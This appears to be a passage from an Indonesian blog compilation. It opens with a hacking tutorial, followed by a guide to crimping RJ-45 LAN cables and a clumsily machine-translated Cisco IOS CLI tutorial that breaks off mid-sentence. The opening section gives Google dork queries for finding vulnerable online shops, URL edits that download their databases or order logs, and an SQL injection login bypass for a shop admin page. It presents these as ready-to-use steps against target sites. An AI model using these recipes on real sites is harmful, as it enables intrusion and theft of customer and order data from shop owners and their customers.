contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google.com Ketik –> allinurl: Lobby.asp
Contoh : www.(sasaran).com/mall/lobby.asp
Hapus tulisan mall/lobby.asp dan ganti dengan –> fpdb/shop.mdb
Hasilnya : www.(sasaran).com/fpdb/shop.mdb
12. contoh bugs pada bentuk toko sistem : Shopper.cgi
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google : Ketik –> allinurl: /cgi-local/shopper.cgi
Contoh : www.(sasaran).com/cgi-local/shopper.cgi/?preadd=action&key=
Tambah dengan –> …&template=order.log
Hasilnya : www.(sasaran).com/cgi-local/shopper.cgi?preadd=action&key=…&template…
13. contoh bugs pada bentuk toko sistem :Proddetail.asp
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
Ketik –> allinurl:proddetail.asp?prod=
Contoh : www.(sasaran).org/proddetail.asp?prod=ACSASledRaffle
Hapus tulisan proddtail.asp?prod=SG369 dan ganti dengan –> fpdb/vsproducts.mdb
Hasilnya : www.(sasaran).org/fpdb/vsproducts.mdb
14. contoh bugs pada bentuk toko sistem :Digishop
contoh toko akan muncul di search engine bila mengetikan beberapa keyword, seperti:
google Ketik –> inurl:"/cart.php?m="
Contoh : http://(sasaran).com/store/cart.php?m=view.
Hapus tulisan cart.php?m=view dan ganti dengan –>admin
Hasilnya http://(sasaran).com/store/admin
Trus masukin username sama pass nya pake statment SQL injection Usename : ‘or"="
Password : ‘or"="
PENGKABELAN LAN DENGAN KONEKTOR RJ-45
fakhris ardiansyah on
Untuk seorang administrator jaringan, nggak ada yang lebih mengesalkan daripada setelah mencari-cari kesalahan/permasalahan pada jaringannya, dan akhirnya menemukan bahwa ternyata kesalahannya adalah pada cara pengkabelan.
Tulisan ini saya susun dengan sumber beberapa buku dan website, saya terjemahkan dan gabungkan. Semoga bisa berguna dan menolong para administrator jaringan yang mungkin lupa ataupun belum mengetahui hal ini.
Catatan-catatan:
1. Kabel-kabel LAN (Local Area Network) biasa disebut dengan kabel UTP (Unshielded Twisted Pair) dan diidentifikasi dengan menggunakan jenjang kategori (category – CAT). Bila kita harus membuat/menginstal suatu jaringan baru, sebaiknya kita gunakan kabel UTP kategori 5, 5e, atau 6 (kecuali ada alasan khusus dan kuat hingga kita tidak menggunakan kabel-kabel kategori tersebut), yang memang dibuat untuk operasi LAN 10 dan 100 Mbps.
2. Kabel-kabel UTP ada 2 macam, yaitu SOLID (SOLID) dan BERSERABUT (STRANDED). Kedua macam UTP tersebut sesuai dengan tipe konduktor yang terdapat ditengah kabel, disebut SOLID karena memiliki konduktor tunggal, sedangkan yang lainnya disebut BERSERABUT karena memiliki konduktor yang terdiri dari beberapa kawat-kawat tipis. Satu-satunya keuntungan yang paling jelas dari penggunaan kabel UTP tipe berserabut (yang umumnya lebih mahal) adalah tipe ini sangat lentur, sehingga bisa ditekuk sampai maksimal tanpa patah konduktornya.
3. Sistem pengkabelan 100base-TX bisa kita gunakan pada jaringan 10base-T, tapi kebalikannya tidak selalu bisa. Maka sebaiknya gunakan SELALU standar pengkabelan 100base-TX/T4.
4. Standar 100base-TX bisa selalu digunakan bila melakukan pengkabelan dengan menggunakan UTP kategori 5, 5e, atau 6, dimana yang digunakan hanya 2 pasang kabel, atau 4 konduktor. Kebanyakan informasi-informasi dalam tulisan ini menggunakan asumsi bahwa pengkabelan menggunakan UTP kategori 5, 5e atau 6.
5. Bila menggunakan kabel UTP kategori 3 atau 4 dengan LAN 100Mbps, harus menggunakan standar 100Base-T4 dan memiliki beberapa keterbatasan, dan menggunakan seluruh 4 pasang kabel, atau 8 konduktor.
6. Panjang maksimal satu utas kabel LAN adalah 100 meter, bila panjang yang dibutuhkan adalah lebih dari 100 meter, maka dapat digunakan switch untuk menyambung kabel berikutnya.
Penggunaan Kabel “Straight” dan “Crossed”
Diagram berikut ini menunjukkan penggunaan umum kabel “straight” dan “crossed”.
Catatan:
Untuk menghindari penggunaan kabel crossed, beberapa pembuat hub atau switch menyediakan port UPLINK. Port ini memungkinkan penggunaan kabel straight untuk menghubungkan 2 buah switch atau hub.
Tabel kode warna UTP kategori 5 dan 5e
Gambar dan table dibawah menunjukkan kode warna normal pada kabel kategori 5, berdasarkan dua standar yang dikeluarkan oleh TIA/EIA
10baseT Kabel Straight (PC ke HUB/SWITCH)
Kabel straight digunakan untuk menghubungkan PC atau peralatan lain ke hub atau switch. Bila untuk menghubungkan PC ke PC atau HUB ke HUB, harus menggunakan kabel crossed.
Deskripsi kabel berikut adalah untuk pengkabelan pada kedua ujung (konektor RJ-45), baik dengan menggunakan skema warna 568A maupun 586B untuk kabel kategori 5(e).
Catatan:
Nomor pin yang diberi tanda bintang (*) tidak digunakan dalam jaringan 10base-T (10Mbps), dan karena pada umumnya saat ini yang digunakan adalah jaringan 100base-T/T4 (100Mbps) maka lebih baik menggunakan standar pengkabelan 100base-T/T4.
Kita menggunakan spesifikasi pengkabelan 100base-T4 yang bisa digunakan dalam jaringan 10base-T.
10base-T kabel Crossed (PC to PC or HUB to HUB)
Kabel crossed digunakan untuk menghubungkan PC ke PC atau HUB ke HUB. Kabel crossed kadang disebut kabel Crossover, Patch atau Jumper. Bila untuk menghubungkan PC ke HUB harus menggunakan kabel straight.
Table berikut menunjukan urutan pengkabelan pada kedua sisi/ujung di dalam konektor RJ-45 Male, pada kabel crossed.
Catatan:
Pada sistem 10base-T (jaringan 10Mbps), nomor-nomor dengan tanda bintang (*) tidak terpakai, tapi karena kita akan menggunakan sistem 100base-T/T4, maka untuk selanjutnya kita akan selalu mencantumkan kabel-kabel nomor 4, 5, 7 dan 8.
100base-T Kabel Straight (PC ke HUB/SWITCH)
Kabel straight digunakan untuk menghubungkan PC atau peralatan lainnya ke HUB atau Switch. Harap diingat bahwa untuk koneksi PC ke PC atau HUB ke HUB harus menggunakan kabel crossed.
Table berikut menunjukan pengkabelan pada kedua ujung konektor RJ-45 dengan menggunakan petunjuk warna pada kabel-kabel UTP kategori 5.
Catatan:
1. Kabel-kabel dengan tanda dua bintang (**) DIPERLUKAN dalam jaringan 100Base-T4, juga untuk sistem Power-Over-Ethernet (POE).
2. Spesifikasi sistem POE ada tiga cara dimana daya (power) dikirimkan melalui kabel UTP. Dua diantara cara POE, penghantaran daya (power) menggunakan pasangan kabel 4, 5 dan 7, 8 (bertanda dua bintang (**) dalam tabel di atas), sedangkan cara lainnya hanya menggunakan pasangan kabel 1,2 dan 3,6 baik untuk sinyal maupun daya. Yang umum digunakan adalah pasangan 4,5 dan 7,8 dipakai untuk menghantar daya.
100base-T Kabel Crossed (PC ke PC atau HUB ke HUB)
Kabel crossed umum digunakan untuk hubungan antar PC, atau antar HUB. Seringkali disebut sebagai kabel Crossover, Patch atau Jumper. Untuk menghubungkan antara PC dengan HUB umumnya menggunakan kabel straight.
Di bawah ini menunjukan pengkabelan pada kedua ujung konektor RJ-45 dari kabel crossed. Diagram di bawah menunjukan persilangan 4 pasang kabel UTP dan bisa digunakan pada kabel kategori 3 dan 4. Pada jaringan 100base-TX, pasangan kabel 4,5 dan 7,8 tidak perlu disilangkan.
NOTES:
1. Kebanyakan kabel crossed yang digunakan saat ini tidak menyilangkan pasangan kabel 4,5 dan 7,8. Selama tidak menggunakan kabel kategori ¾ maka sistem pengkabelan crossed seperti itu tidak akan menimbulkan masalah.
2. Ethernet gigabit menggunakan seluruh keempat pasangan kabel UTP (8 konduktor) untuk konfigurasi kabel crossed-nya, seperti gambar di atas.
3. Bila menggunakan POE, pada sistem POE Model A atau Alternatif A menggunakan pasangan kabel-kabel 1,2 dan 3,6 untuk data sekaligus daya. Sedangkan pada Model B atau Alternatif B, menggunakan pasangan kabel-kabel 1,2 dan 3,6 untuk data, sedangkan daya melalui pasangan kabel 4,5 dan 7,8. Umumnya POE menggunakan jembatan diode, sehingga penyilangan pada kabel-kabel 4,5 dan 7,8 umumnya tidak ada pengaruh.
Urutan Pin Pada Konektor RJ-45
Konektor RJ-45 Male
Beberapa Petunjuk Dasar Mengenai Koneksi-koneksi RJ-45
1. Lakukan pengujian dengan penguji kabel jaringan (Cable Tester), tidak perlu menggunakan tester mahal, yang terpenting adalah menguji apakah kedua ujung konektor RJ-45 saling terhubung secara sempurna atau tidak.
2. Hati-hati saat memotong selubung luar kabel UTP, jangan sampai melukai selubung insulasi dari masing-masing konduktor karena bisa menyebabkan terjadinya hubungan antar konduktor (short).
3. Potong selubung luar kabel UTP sehingga masing-masing kabel konduktor terlihat maksimal kira-kira 2.5 cm.
4. Susun kabel-kabel konduktor sesuai urutan standar pengkabelan yang digunakan.
5. Ukur panjang masing-masing konduktor agar sama panjang, jangan sampai selubung masing-masing konduktor terlihat dari ujung plastik konektor RJ-45, karena bisa menyebabkan konduktor mudah terluka dan menyebabkan terjadinya hubungan antar konduktor.
6. Pastikan ujung tiap konduktor menyentuh ujung konektor RJ-45 saat memasukan kabel UTP ke dalam konektor RJ-45.
7. Gunakan crimping tool yang masih bagus, agar masing-masing kaki konektor RJ-45 dapat menyentuh konduktor dengan sempurna.
8. Bila memungkin, uji/test kabel yang baru dibuat dengan penguji kabel jaringan (Cable Tester).
9. Umumnya masalah koneksi dalam jaringan terletak pada konektor RJ-45, tidak sempurnanya saat memotong selubung luar kabel UTP, atau tidak menggunakan urutan pengkabelan standar. Gunakan konektor RJ-45 yang berkualitas baik, lebih berhati-hati dalam memotong selubung luar kabel UTP, serta gunakan standar pengkabelan yang baku, untuk menghindari terjadinya masalah-masalah seperti disebut di atas.
FAKHRIS ARDIANSYAH
CISCO IOS CLI
fakhris ardiansyah on Kamis, 01 Desember 2011
Cisco IOS Command Line Interface Tutorial
Abstract Abstrak
The focus of this document is to introduce a new Cisco Internetworking Operating System (IOS) user to the IOS command line interface (CLI). Fokus dari dokumen ini adalah untuk memperkenalkan Cisco baru Internetworking Operating System (IOS) pengguna ke antarmuka baris perintah IOS (CLI). After reading this document, a new user will understand how to use the IOS CLI to configure and manage an IOS router. Setelah membaca dokumen ini, pengguna baru akan memahami bagaimana menggunakan CLI IOS untuk mengkonfigurasi dan mengelola router IOS. For easier reference, Table 1 displays a collection of important terms and acronyms that are used throughout the document. Untuk referensi lebih mudah, Tabel 1 menampilkan koleksi istilah penting dan akronim yang digunakan di seluruh dokumen.
Table 1 - Glossary Of Important Terms And Acronyms Used In This Tutorial Tabel 1 - Daftar Istilah Penting Dan Akronim Digunakan Dalam Tutorial ini
Cisco IOS Cisco IOS - Cisco Internetworking Operating System - Cisco internetworking Sistem Operasi CLI CLI - Command Line Interface - Command Line Interface EXEC EXEC - Command line session to the router (could be console, modem, or telnet) - Command line sesi ke router (bisa konsol, modem, atau telnet) Flash Flash - Non-Volatile Memory used to store IOS software image - Non-Volatile Memory digunakan untuk menyimpan software image IOS NVRAM NVRAM - Non-Volatile RAM used to store router configuration - Non-Volatile RAM digunakan untuk menyimpan konfigurasi router RAM RAM - Random Access Memory - Random Access Memory
CLI Architecture CLI Arsitektur
A Cisco IOS router command line interface can be accessed through either a console connection, modem connection, or a telnet session. Sebuah router Cisco IOS command line interface dapat diakses baik melalui koneksi konsol, koneksi modem, atau sesi telnet. Regardless of which connection method is used, access to the IOS command line interface is generally referred to as an EXEC session. Terlepas dari metode koneksi yang digunakan, akses ke antarmuka baris perintah IOS umumnya disebut sebagai sesi EXEC.
As a security feature, Cisco IOS separates EXEC sessions into two different access levels - user EXEC level and privileged EXEC level. Sebagai fitur keamanan, Cisco IOS memisahkan sesi EXEC menjadi dua tingkatan akses yang berbeda - EXEC pengguna tingkat dan tingkat EXEC istimewa. User EXEC level allows a person to access only a limited amount of basic monitoring commands. Tingkat pengguna EXEC memungkinkan seseorang untuk mengakses hanya jumlah terbatas perintah pemantauan dasar. Privileged EXEC level allows a person to access all router commands (eg configuration and management) and can be password protected to allow only authorized users the ability to configure or maintain the router. Keistimewaan tingkat EXEC memungkinkan seseorang untuk mengakses perintah router semua (misalnya konfigurasi dan manajemen) dan dapat dilindungi password untuk memungkinkan pengguna hanya berwenang kemampuan untuk mengkonfigurasi atau mempertahankan router.
For example, when an EXEC session is started, the router will display a "Router>" prompt. Sebagai contoh, ketika sesi EXEC dimulai, router akan menampilkan "Router>" prompt. The right arrow (>) in the prompt indicates that the router is at the user EXEC level. Panah kanan (>) dalam prompt mengindikasikan bahwa router berada pada tingkat pengguna EXEC. The user EXEC level does not contain any commands that might control (eg reload or configure) the operation of the router. Tingkat pengguna EXEC tidak berisi perintah yang mungkin kontrol (misalnya atau mengkonfigurasi ulang) operasi dari router. To list the commands available at the user EXEC level, type a question mark (?) at the Router> prompt. Untuk daftar perintah yang tersedia di tingkat pengguna EXEC, jenis pertanyaan tanda (?) Di Router> prompt. (This feature is referred to as context sensitive help .) (Fitur ini disebut sebagai bantuan sensitif konteks .)
Critical commands (eg configuration and management) require that the user be at the privileged EXEC level. Perintah Kritis (misalnya konfigurasi dan manajemen) mengharuskan pengguna berada di tingkat EXEC istimewa. To change to the privileged EXEC level, type "enable" at the Router> prompt. Untuk mengubah ke tingkat EXEC istimewa, ketik "enable" pada Router> prompt. If an enable password is configured, the router will then prompt for that password. Jika mengaktifkan password dikonfigurasi, router kemudian akan menanyakan kata sandi itu. When the correct enable password is entered, the router prompt will change to "Router#" indicating that the user is now at the privileged EXEC level. Ketika mengaktifkan password yang benar dimasukkan, router prompt akan berubah menjadi "Router #" menunjukkan bahwa pengguna sekarang pada tingkat EXEC istimewa. To switch back to user EXEC level, type "disable" at the Router# prompt. Untuk beralih kembali ke tingkat pengguna EXEC, ketik "menonaktifkan" di Router # prompt. Typing a question mark (?) at the privileged EXEC level will now reveal many more command options than those available at the user EXEC level. Mengetik tanda tanya (?) Di tingkat EXEC istimewa sekarang akan mengungkapkan pilihan perintah lebih banyak dari yang tersedia pada tingkat pengguna EXEC. The text below illustrates the process of changing EXEC levels. Teks di bawah ini menggambarkan proses perubahan tingkat EXEC.
Router> enable Router> mengaktifkan Password: [enable password] Password: [mengaktifkan password] Router# disable Router # menonaktifkan Router> Router>Note: For security reasons, the router will not echo the password that is entered. Catatan: Untuk alasan keamanan, router tidak akan echo password yang dimasukkan. Also, be advised that if configuring a router via telnet, the password is sent in clear text. Juga, disarankan bahwa jika mengkonfigurasi router melalui telnet, password dikirim dalam teks yang jelas. Telnet does not offer a method to secure packets. Telnet tidak menawarkan sebuah metode untuk mengamankan paket.
Once an EXEC session is established, commands within Cisco IOS are hierarchically structured. Setelah sesi EXEC didirikan, perintah dalam Cisco IOS terstruktur secara hierarkis. In order to successfully configure the router, it is important to understand this hierarchy. Dalam rangka untuk berhasil mengkonfigurasi router, penting untuk memahami hirarki ini. To illustrate this hierarchy, Figure 1 provides a simple high-level schematic diagram of some IOS commands. Untuk menggambarkan hirarki ini, Gambar 1 memberikan diagram tingkat tinggi skematik sederhana dari beberapa perintah IOS.
Figure 1 - IOS CLI hierarchy Gambar 1 - IOS CLI hirarki
Command options and applications vary depending on position within this hierarchy. Opsi perintah dan aplikasi bervariasi tergantung pada posisi dalam hirarki ini. Referring to the diagram in figure 1, configuration command options will not be available until the user has navigated to the configuration branch of the IOS CLI structure. Mengacu pada diagram dalam Gambar 1, konfigurasi opsi perintah tidak akan tersedia sampai pengguna telah navigasikan ke cabang konfigurasi struktur CLI IOS. Once in the configuration branch, a user may enter system level configuration commands that apply to the entire router at the global configuration level. Setelah di cabang konfigurasi, pengguna dapat memasukkan perintah konfigurasi sistem tingkat yang berlaku untuk seluruh router di tingkat konfigurasi global. Interface specific configuration commands are available once the user has switched to the particular interface configuration level. Antarmuka perintah konfigurasi khusus yang tersedia setelah pengguna telah beralih ke tingkat konfigurasi antarmuka tertentu. More detailed information and examples on how to navigate through the IOS CLI hierarchy are offered in the Informasi lebih rinci dan contoh tentang bagaimana untuk menavigasi melalui hirarki CLI IOS yang ditawarkan dalam Router Configuration section. Konfigurasi Router bagian.
To assist users in navigation through IOS CLI, the command prompt will change to reflect the position of a user within the command hierarchy. Untuk membantu pengguna dalam navigasi melalui IOS CLI, command prompt akan berubah untuk mencerminkan posisi pengguna dalam hirarki perintah. This allows users to easily identify where within the command structure they are at any given moment. Hal ini memungkinkan pengguna untuk dengan mudah mengidentifikasi mana dalam struktur komando mereka pada saat tertentu. Table 2 is a summary of command prompts and the corresponding location within the command structure. Tabel 2 adalah ringkasan dari perintah prompt dan lokasi yang sesuai dalam struktur komando.
Table 2 - IOS Command Prompt Summary Tabel 2 - IOS Command Prompt Ringkasan
Router> Router> - User EXEC mode - Pengguna EXEC Mode Router# Router # - Privileged EXEC mode - Privileged EXEC Mode Router(config)# Router (config) # - Configuration mode (notice the # sign indicates this is only accessible at privileged EXEC mode.) - Konfigurasi Mode (perhatikan tanda # menunjukkan ini hanya dapat diakses pada EXEC mode privilege.) Router(config-if)# Router (config-if) # - Interface level within configuration mode. - Antarmuka tingkat dalam mode konfigurasi. Router(config-router)# Router (config-router) # - Routing engine level within configuration mode. - Routing tingkat mesin dalam mode konfigurasi. Router(config-line)# Router (config-line) # - Line level (vty, tty, async) within configuration mode. - Jalur tingkat (vty, tty, async) dalam mode konfigurasi.
CLI Editor Features Fitur Editor CLI
Context Sensitive Help Konteks Sensitif Bantuan
Cisco IOS CLI offers context sensitive help. Cisco IOS CLI menawarkan bantuan sensitif konteks. This is a useful tool for a new user because at any time during an EXEC session, a user can type a question mark (?) to get help. Ini adalah alat yang berguna untuk pengguna baru karena setiap saat selama sesi EXEC, pengguna dapat mengetikkan tanda tanya (?) Untuk mendapatkan bantuan. Two types of context sensitive help are available - word help and command syntax help. Dua jenis bantuan sensitif konteks yang tersedia - kata bantuan dan membantu perintah sintaks.
Word help can be used to obtain a list of commands that begin with a particular character sequence. Membantu Word dapat digunakan untuk mendapatkan daftar perintah yang dimulai dengan urutan karakter tertentu. To use word help, type in the characters in question followed immediately by the question mark (?). Untuk menggunakan bantuan kata, ketik karakter tersebut segera diikuti dengan tanda tanya (?). Do not include a space before the question mark. Jangan menyertakan spasi sebelum tanda tanya. The router will then display a list of commands that start with the characters that were entered. Router kemudian akan menampilkan daftar perintah yang dimulai dengan karakter yang dimasukkan. The following is an example of word help: Berikut ini adalah contoh dari bantuan kata:
Router# co? Router # co? configure connect copy mengkonfigurasi koneksi salin Command syntax help can be used to obtain a list of command, keyword, or argument options that are available based on the syntax the user has already entered. Sintaks perintah bantuan dapat digunakan untuk mendapatkan daftar opsi perintah, kata kunci, atau argumen yang tersedia didasarkan pada sintaks pengguna telah masuk. To use command syntax help, enter a question mark (?) in the place of a keyword or argument. Untuk menggunakan perintah sintaks membantu, masukkan tanda tanya (?) Di tempat kata kunci atau argumen. Include a space before the question mark. Sertakan spasi sebelum tanda tanya. The router will then display a list of available command options with
standing for carriage return. Router kemudian akan menampilkan daftar pilihan perintah yang tersedia denganberdiri untuk carriage return. The following is an example of command syntax help: Berikut ini adalah contoh perintah sintaks membantu:
Router# configure ? Router # configure? memory Configure from NV memory Konfigurasi memori dari memori NV network Configure from a TFTP network host Konfigurasi jaringan dari host jaringan TFTP overwrite-network Overwrite NV memory from TFTP network host=20 Timpa menimpa-jaringan memori NV dari host jaringan TFTP = 20 terminal Configure from the terminal Konfigurasi terminal dari terminalCommand Syntax Check Sintaks perintah Periksa
If a command is entered improperly (eg typo or invalid command option), the router will inform the user and indicate where the error has occurred. Jika perintah yang dimasukkan tidak benar (misalnya opsi perintah ketik atau tidak valid), router akan menginformasikan pengguna dan menunjukkan di mana kesalahan telah terjadi. A caret symbol (^) will appear underneath the incorrect command, keyword, or argument. Sebuah simbol tanda sisipan (^) akan muncul di bawah, kata kunci argumen perintah yang salah, atau. The following example displays what happens if the keyword "ethernet" is spelled incorrectly. Contoh berikut menampilkan apa yang terjadi jika kata kunci "ethernet" adalah dieja salah.
Router(config)#interface ethernat Router (config) # interface ethernat ^ ^ % Invalid input detected at '^' marker. % Masukan tidak valid terdeteksi pada penanda '^'.Command Abbreviation Perintah Singkatan
Commands and keywords can be abbreviated to the minimum number of characters that identifies a unique selection. Perintah dan kata kunci dapat disingkat dengan jumlah minimum karakter yang mengidentifikasi pilihan yang unik. For example, you can abbreviate the "configure" command to "conf" because "configure" is the only command that begins with "conf". Sebagai contoh, Anda dapat menyingkat "mengkonfigurasi" perintah untuk "conf" karena "mengkonfigurasi" adalah perintah hanya yang dimulai dengan "conf". You could not abbreviate the command to "con" because more than one command could fit this criteria. Anda tidak dapat menyingkat perintah untuk "con" karena lebih dari satu perintah bisa masuk kriteria ini. The router will issue the following error message if you do not supply enough characters. Router akan mengeluarkan pesan kesalahan berikut jika Anda tidak memberikan karakter yang cukup.
cisco(config)#i % Ambiguous command: "i" cisco (config) perintah # i% ambigu: "i"
Hot Keys Hot Keys
For many editing functions, the IOS CLI editor provides hot keys. Bagi banyak fungsi editing, editor CLI IOS menyediakan hot keys. The following table lists some editing shortcuts that are available. Tabel berikut ini berisi beberapa cara pintas editing yang tersedia.
Table 3 - Summary Of Hot Keys Tabel 3 - Ringkasan Dari Hot Keys
Delete Hapus - Removes one character to the right of the cursor. - Menghapus satu karakter di sebelah kanan kursor. Backspace Backspace - Removes one character to the left of the cursor. - Menghapus satu karakter ke kiri kursor. TAB TAB - Finishes a partial command. - Finishes perintah parsial. Ctrl-A Ctrl-A - Moves the cursor to the beginning of the current line. - Memindahkan kursor ke awal baris saat ini. Ctrl-R Ctrl-R - Redisplays a line. - Menampilkan kembali baris. Ctrl-U Ctrl-U - E rases a line. - E rases baris. Ctrl-W Ctrl-W - Erases a word. - Menghapus sebuah kata. Ctrl-Z Ctrl-Z - Ends configuration mode and returns to the EXEC. - Berakhir modus konfigurasi dan kembali ke EXEC tersebut. Up Arrow Panah Atas - Allows user to scroll forward through former commands. - Memungkinkan pengguna untuk gulir maju melalui perintah mantan. Down Arrow Panah Bawah - Allows user to scroll backward through former commands. - Memungkinkan pengguna untuk menggulir melalui perintah mantan mundur.
Router Configuration Router Konfigurasi
Entering Configurations Memasuki Konfigurasi
Perhaps the best way to illustrate IOS CLI navigation is by walking through a simple router configuration. Mungkin cara terbaik untuk menggambarkan IOS CLI navigasi dengan berjalan melalui sebuah konfigurasi router sederhana. The comments in the example do not attempt to explain the meaning of each individual command, but rather intend to display where configuration commands are entered within the IOS command structure. Komentar dalam contoh tidak berusaha untuk menjelaskan arti dari setiap perintah individu, melainkan berniat untuk menampilkan di mana perintah konfigurasi yang dimasukkan dalam struktur komando IOS. Pay particular attention to how the command prompt changes as the user navigates through the IOS CLI hierarchy. Bayar perhatian khusus terhadap bagaimana perubahan perintah prompt sebagai pengguna menavigasi melalui hirarki CLI IOS. Also notice that global parameters are configured at the global configuration level (indicated by the "Router(config)#" prompt) whereas interface specific commands are entered after switching to the particular interface (indicated by the "Router(config-if)#" prompt). Juga perhatikan bahwa parameter global yang dikonfigurasi di tingkat konfigurasi global (ditunjukkan oleh "Router (config) #" prompt), sedangkan perintah spesifik antarmuka yang dimasukkan setelah beralih ke interface tertentu (ditandai dengan "Router (config-if) #" prompt). Global parameters and interface parameters are discussed further in the Displaying Configurations Parameter global dan parameter antarmuka dibahas lebih lanjut dalam Konfigurasi Menampilkan section under Router Management . Bagian bawah Manajemen Router .
Router> enable Router> mengaktifkan - switches to privileged EXEC level - Switch ke tingkat EXEC istimewa Router# configure terminal Router # configure terminal - switches to global configuration level - Switch ke tingkat konfigurasi global Router(config)# enable secret cisco Router (config) # enable secret cisco - configures router with an enable secret (global) - Mengkonfigurasi router dengan rahasia mengaktifkan (global) Router(config)# ip route 0.0.0.0 0.0.0.0 20.2.2.3 Router (config) # ip route 0.0.0.0 0.0.0.0 20.2.2.3 - configures a static IP route (global) - Mengkonfigurasi rute IP statis (global) Router(config)# interface ethernet0 Router (config) # interface ethernet0 - switches to configure the ethernet0 interface - Switch untuk mengkonfigurasi interface ethernet0 Router(config-if)# ip address 10.1.1.1 255.0.0.0 Alamat router (config-if) # ip 10.1.1.1 255.0.0.0 - configures an IP address on ethernet0 (interface) - Mengkonfigurasi alamat IP pada ethernet0 (antarmuka) Router(config-if)# no shutdown Router (config-if) # shutdown tidak ada - activates ethernet0 (interface) - Mengaktifkan ethernet0 (antarmuka) Router(config-if)# exit Router (config-if) # exit - exits back to global configuration level - Keluar kembali ke tingkat konfigurasi global Router(config)# interface serial0 Router (config) # interface serial0 - switches to configure the serial0 interface - Switch untuk mengkonfigurasi interface serial0 Router(config-if)# ip address 20.2.2.2 255.0.0.0 Alamat router (config-if) # ip 20.2.2.2 255.0.0.0 - configures an IP address on serial0 (interface) - Mengkonfigurasi alamat IP pada serial0 (antarmuka) Router(config-if)# no shutdown Router (config-if) # shutdown tidak ada - activates serial0 (interface) - Mengaktifkan serial0 (antarmuka) Router(config-if)# exit Router (config-if) # exit - exits back to global configuration level - Keluar kembali ke tingkat konfigurasi global Router(config)# router rip Router (config) # router rip - switches to configure RIP routing engine - Switch untuk mengkonfigurasi RIP mesin routing Router(config-router)# network 10.0.0.0 Router (config-router) # network 10.0.0.0 - adds network 10.0.0.0 to RIP engine (routing engine) - Menambah jaringan 10.0.0.0 ke mesin RIP (routing mesin) Router(config-router)# network 20.0.0.0 Router (config-router) # network 20.0.0.0 - adds network 20.0.0.0 to RIP engine (routing engine) - Menambah jaringan 20.0.0.0 ke mesin RIP (routing mesin) Router(config-router)# exit Router (config-router) # exit - exits back to global configuration level - Keluar kembali ke tingkat konfigurasi global Router(config)# exit Router (config) # exit - exits out of configuration level - Keluar keluar dari tingkat konfigurasi Router# copy running-config startup-config Router # copy running-config startup-config - saves configuration into NVRAM - Menyimpan konfigurasi ke NVRAM Router# disable Router # menonaktifkan - disables privileged EXEC level - Menonaktifkan tingkat istimewa EXEC Router> Router> - indicates user is back to user EXEC level - Menunjukkan pengguna kembali ke tingkat pengguna EXEC In the above example, notice how the exit command is used to back up a level within the IOS hierarchy. Dalam contoh di atas, perhatikan bagaimana keluar perintah digunakan untuk mendukung tingkat dalam hirarki IOS. For example, if in the interface configuration level (ie Router (config-if)# prompt), typing exit will put the user back in the global configuration level (ie Router (config)# prompt). Sebagai contoh, jika di tingkat antarmuka konfigurasi (yaitu Router (config-if) # prompt), keluar mengetik akan menempatkan pengguna kembali di tingkat konfigurasi global (yaitu Router (config) # prompt).
Taking Interfaces Out Of Shutdown Mengambil Antarmuka Out Of Shutdown
Routers ship from the factory with all interfaces deactivated. Router kapal dari pabrik dengan semua antarmuka dinonaktifkan. Deactivated interfaces are referred to as being in a shutdown state. Antarmuka dinonaktifkan disebut sebagai dalam keadaan shutdown. Before an interface can be used, it must be taken out of the shutdown state. Sebelum sebuah interface dapat digunakan, harus dibawa keluar dari negara shutdown. To take an interface out of shutdown, type "no shutdown" at the appropriate interface configuration level. Untuk mengambil sebuah antarmuka keluar dari shutdown, ketik "tidak ada shutdown" pada tingkat konfigurasi antarmuka yang sesuai. The example above includes these commands for both the ethernet and serial interfaces. Contoh di atas mencakup perintah-perintah ini untuk kedua ethernet dan interface serial.
Removing Commands / Resetting Default Values Menghapus Perintah / ulang Nilai default
IOS provides an easy way to remove commands from a configuration. IOS menyediakan cara mudah untuk menghapus perintah dari konfigurasi. To remove a command from the configuration, simply navigate to the proper location and type "no" followed by the command to be removed. Untuk menghapus perintah dari konfigurasi, cukup arahkan ke lokasi yang tepat dan ketik "tidak" diikuti oleh perintah untuk dihapus. The following example displays how to remove an IP address from the ethernet0 interface. Contoh berikut menampilkan cara untuk menghapus alamat IP dari antarmuka ethernet0.
Router> enable Router> mengaktifkan - switches to privileged EXEC level - Switch ke tingkat EXEC istimewa Router# configure terminal Router # configure terminal - switches to global configuration level - Switch ke tingkat konfigurasi global Router(config)# interface ethernet0 Router (config) # interface ethernet0 - switches to configure the ethernet0 interface - Switch untuk mengkonfigurasi interface ethernet0 Router(config-if)# no ip address Router (config-if) # tidak ada alamat ip - removes IP address - Menghapus alamat IP Router(config-if)# exit Router (config-if) # exit - exits back to global configuration level - Keluar kembali ke tingkat konfigurasi global Router(config)# exit Router (config) # exit - exits out of configuration level - Keluar keluar dari tingkat konfigurasi Router# disable Router # menonaktifkan - disables privileged EXEC level - Menonaktifkan tingkat istimewa EXEC Router> Router> - prompt indicates user is back to user EXEC level - Meminta menunjukkan pengguna kembali ke tingkat pengguna EXEC Some configuration commands in IOS are enabled by default and assigned a certain default value. Perintah konfigurasi Beberapa di IOS diaktifkan secara default dan diberi nilai default tertentu. When left at the default value, these commands will not be displayed when the configuration is listed. Ketika meninggalkan di nilai default, perintah ini tidak akan ditampilkan bila konfigurasi terdaftar. If the value is altered from the default setting, issuing a "no" form of the command will restore the value to the default setting. Jika nilai diubah dari pengaturan default, mengeluarkan "tidak" bentuk perintah akan mengembalikan nilai ke pengaturan default.
Saving Configurations Menyimpan Konfigurasi
A Cisco IOS router stores configurations in two locations - RAM and NVRAM. Sebuah router Cisco IOS konfigurasi toko di dua lokasi - RAM dan NVRAM. The running configuration is stored in RAM and is used by the router during operation. Menjalankan konfigurasi disimpan dalam RAM dan digunakan oleh router selama operasi. Any configuration changes to the router are made to the running-configuration and take effect immediately after the command is entered. Setiap perubahan konfigurasi ke router yang dibuat untuk menjalankan konfigurasi dan berlaku segera setelah perintah yang dimasukkan. The startup-configuration is saved in NVRAM and is loaded into the router's running-configuration when the router boots up. Konfigurasi startup-disimpan di NVRAM dan dimuat ke dalam menjalankan konfigurasi-router ketika router boot up. If a router loses power or is reloaded, changes to the running configuration will be lost unless they are saved to the startup-configuration. Jika router kehilangan kekuasaan atau reloaded, perubahan pada konfigurasi berjalan akan hilang kecuali mereka disimpan ke konfigurasi startup-. To save the running-configuration to the startup configuration, type the following from privileged EXEC mode (ie at the "Router#" prompt.) Untuk menyimpan berjalan-konfigurasi untuk konfigurasi startup, ketik berikut ini dari modus 